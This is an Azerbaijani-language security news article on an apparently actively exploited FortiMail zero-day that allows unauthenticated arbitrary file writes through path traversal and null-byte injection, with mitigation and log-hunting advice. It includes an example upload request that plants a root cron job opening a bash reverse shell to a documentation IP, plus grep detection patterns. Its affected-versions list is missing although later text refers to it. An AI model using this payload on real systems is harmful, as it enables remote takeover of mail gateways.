Kritik FortiMail Sıfır Gün Zəifliyi Hücumlarda İstismar Edilir: İxtiyari Fayl Yazma Təhlükəsi

Giriş: Təhlükənin Mahiyyəti və CISA Xəbərdarlığı

Müasir korporativ şəbəkələrin perimetr mühafizəsində e-poçt təhlükəsizlik şlüzləri (Secure Email Gateway – SEG) ən mühüm müdafiə xətlərindən biridir. Təhlükəsizlik divarlarının önündə yerləşən bu avadanlıqlar kiber cinayətkarlar üçün daim yüksək dəyərə malik hədəf hesab olunur. ABŞ Kibertəhlükəsizlik və İnfrastruktur Təhlükəsizliyi Agentliyi (CISA) Fortinet FortiMail sistemlərində aşkar edilmiş kritik səviyyəli sıfır gün (zero-day) zəifliyini rəsmi olaraq Məlum İstismar Edilən Zəifliklər (KEV – Known Exploited Vulnerabilities) kataloquna daxil edib.

Sözügedən zəiflik CVE-2026-104286 identifikatoru ilə qeydiyyata alınıb və CVSS v3.1 şkalası üzrə 9.8 (Kritik) xalla qiymətləndirilib. Boşluq autentifikasiyadan keçməmiş uzaq məsafəli təcavüzkarlara hədəf sistemdə ixtiyari faylları yazmağa (unauthenticated arbitrary file write) imkan verir. Hücumların artıq real mühitdə aktiv şəkildə həyata keçirildiyi təsdiqləndiyi üçün bu insident infrastruktur administratorlarından təxirəsalınmaz reaksiya tələb edir.

CVE-2026-104286 Zəifliyinin Texniki Təhlili: Path Traversal və NULL Bayt Mexanizmi

CVE-2026-104286 zəifliyi iki kritik təhlükəsizlik çatışmazlığının kombinasiyasından qaynaqlanır: Yol Keçidi (Path Traversal – CWE-22) və NULL bayt/simvolunun natamam neytrallaşdırılması (Incomplete Neutralization of Null Byte – CWE-158). Bu birləşmə proqram təminatının daxil olan istifadəçi sorğularını yetərincə sanitizasiya etməməsi səbəbindən yaranır.

Zəifliyin Əsas Tərkib Hissələri

• CWE-22 (Path Traversal): Sistem fayl yollarını emal edərkən ../ və ya oxşar ardıcıllıqları lazımi səviyyədə filtrasiya etmir. Bu, təcavüzkarın icazə verilən qovluq çərçivəsindən kənara çıxaraq əməliyyat sisteminin daxili strukturlarına müraciət etməsinə yol açır.
• CWE-158 (Null Byte Injection): Aşağı səviyyəli proqramlaşdırma dillərində (məsələn, C/C++) sətir verilənlərinin sonunu bildirmək üçün NULL bayt (\0 və ya URL-kodlaşdırılmış formada %00) istifadə olunur. Sistem daxil olan parametrdə bu baytı düzgün neytrallaşdırmadıqda, proqram sətiri həmin nöqtədə kəsilmiş hesab edir və sonrakı uzantı yoxlamalarını (məsələn, .tmp və ya .log tələbini) aldadaraq arxa planda istənilən uzantıya malik fayl formalaşdırır.

Aşağıdakı nümunədə zəifliyin konseptual istismar mexanizmi əks olunub:

# Zəiflik daşıyan endpoint-ə göndərilən manipulyasiya edilmiş HTTP sorğusu
POST /api/v1/upload HTTP/1.1
Host: mailgate.target-corp.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="logfile"; filename="../../../var/spool/cron/crontabs/root%00.txt"
Content-Type: text/plain

* * * * * /bin/bash -i >& /dev/tcp/198.51.100.25/4444 0>&1
------WebKitFormBoundary--

Bu sorğu zamanı proqram təminatı fayl uzantısını yoxlamaq istədikdə .txt görür və əməliyyatı leqal hesab edir. Lakin fayl sisteminə yazılarkən NULL bayt səbəbindən fayl adı /var/spool/cron/crontabs/root kimi saxlanılır və bununla da sistem səviyyəsində arxa qapı (backdoor) yerləşdirilmiş olur.

Zəifliyin İstismar Riskləri və Hücum Vektorları

CVE-2026-104286 zəifliyinin təqdim etdiyi risk dərəcəsi birbaşa FortiMail-in şəbəkə arxitekturasındakı mövqeyi ilə bağlıdır. Təcavüzkarlar heç bir identifikasiya məlumatına (login/şifrə və ya sessiya tokeni) sahib olmadan uzaqdan hücum təşkil edə bilirlər.

Əsas Hücum Vektorları və Təhlükələr

• Uzaqdan Kod İcrası (Remote Code Execution – RCE): İxtiyari fayl yazma zəifliyi əsasən sistemdə birbaşa RCE ilə nəticələnir. Təcavüzkarlar veb-interfeysin qovluqlarına veb-şell (webshell) yerləşdirə, mövcud icra olunan skriptləri dəyişdirə və ya planlaşdırılmış tapşırıqlara (cron jobs) zərərli əmrlər əlavə edə bilərlər.
• SSH Açar Manipulyasiyası: Cihazın /root/.ssh/authorized_keys faylına hücumçunun ictimai açarı əlavə edilərək sistemə birbaşa root hüquqları ilə daimi SSH çıxışı əldə oluna bilər.
• Konfiqurasiya və Şifrələrin Ələ Keçirilməsi: Sistem konfiqurasiyalarının üzərinə yazılaraq parollar sıfırlana və ya administrator sessiyaları oğurlana bilər.
• Korporativ Casusluq və Daxilə Doğru Yayılma (Lateral Movement): FortiMail sistemi komprometasiya edildikdən sonra oradan keçən bütün daxili və xarici e-poçt axını ələ keçirilə, korporativ şəbəkənin digər daxili seqmentlərinə sıçrayış təşkil oluna bilər.

Təsirə Məruz Qalan FortiMail Versiyaları

Fortinet tərəfindən aparılan ilkin analizlər nəticəsində təhlükəsizlik xətasının FortiMail əməliyyat sisteminin geniş versiya diapazonuna təsir etdiyi müəyyən edilmişdir:

Müdafiə və Təcili Təhlükəsizlik Tövsiyələri

Bu zəifliyin aktiv şəkildə istismar edildiyini nəzərə alaraq, Fortinet avadanlıqlarına xidmət göstərən sistem administratorları və kibertəhlükəsizlik komandaları aşağıdakı addımları dərhal həyata keçirməlidirlər:

1. Təcili Təhlükəsizlik Yeniləmələrinin Tətbiqi

Ən etibarlı müdafiə mexanizmi Fortinet tərəfindən buraxılmış rəsmi proqram təminatı yamalarının (firmware update) tətbiq edilməsidir. Bütün FortiMail instansiyaları dərhal yuxarıda qeyd olunan təhlükəsiz versiyalara yüksəldilməlidir.

2. Şəbəkə Səviyyəsində Məhdudlaşdırma və Seqmentasiya

Yeniləmə prosesi tamamlanana qədər və ya əlavə təhlükəsizlik təbəqəsi kimi aşağıdakı tədbirlər görülməlidir:

• FortiMail-in idarəetmə interfeysinin (Web UI və SSH) açıq internetdən birbaşa əlçatanlığı dərhal dayandırılmalıdır.
• İdarəetmə panellərinə giriş yalnız təhlükəsiz daxili şəbəkələr və ya VPN/MFA vasitəsilə ayrılmış idarəetmə VLAN-ları ilə məhdudlaşdırılmalıdır.
• Web Application Firewall (WAF) arxasında yerləşən sistemlərdə ..%2f, %00 kimi Null Byte və Path Traversal şablonlarını bloklayan qaydalar aktivləşdirilməlidir.

3. İnsident İdarəetməsi və Komprometasiya Əlamətlərinin (IoC) Axtarışı

Cihazların əvvəlcədən yoluxdurulmadığından əmin olmaq üçün sistem jurnalları və fayl bütövlüyü dərhal audit olunmalıdır:

# FortiMail CLI vasitəsilə şübhəli girişləri və sistem dəyişikliklərini yoxlamaq
diagnose debug crashlog read
get system status

# Şəbəkə və log serverlərində (Syslog/SIEM) Null Byte və Directory Traversal axtarışı
grep -Ei '(\.\./|\.\.\\|%2e%2e%2f|%00)' /var/log/httpd/access_log

Əgər fayl sistemində gözlənilməz skriptlər, qeyri-adi cron faylları və ya naməlum administrativ istifadəçi profilləri aşkarlanarsa, cihaz dərhal şəbəkədən təcrid olunmalı və tam insident araşdırması başlanmalıdır.

Yekun Nəticə

CVE-2026-104286 zəifliyi şəbəkə perimetrində yerləşən kritik qurğuların müasir təhlükə mühitində nə dərəcədə həssas hədəf olduğunu bir daha göstərir. Sıfır gün statusu, autentifikasiyasız ixtiyari fayl yazma bacarığı və CISA-nın KEV kataloquna daxil edilməsi bu təhlükənin miqyasını qətiləşdirir. Təhlükəsizlik insidentlərinin və sistemlərin tam ələ keçirilməsinin qarşısını almaq üçün təşkilatlar reaktiv yanaşmadan proaktiv müdafiəyə keçməli və təxirəsalınmaz yamalama prosesini icra etməlidirlər.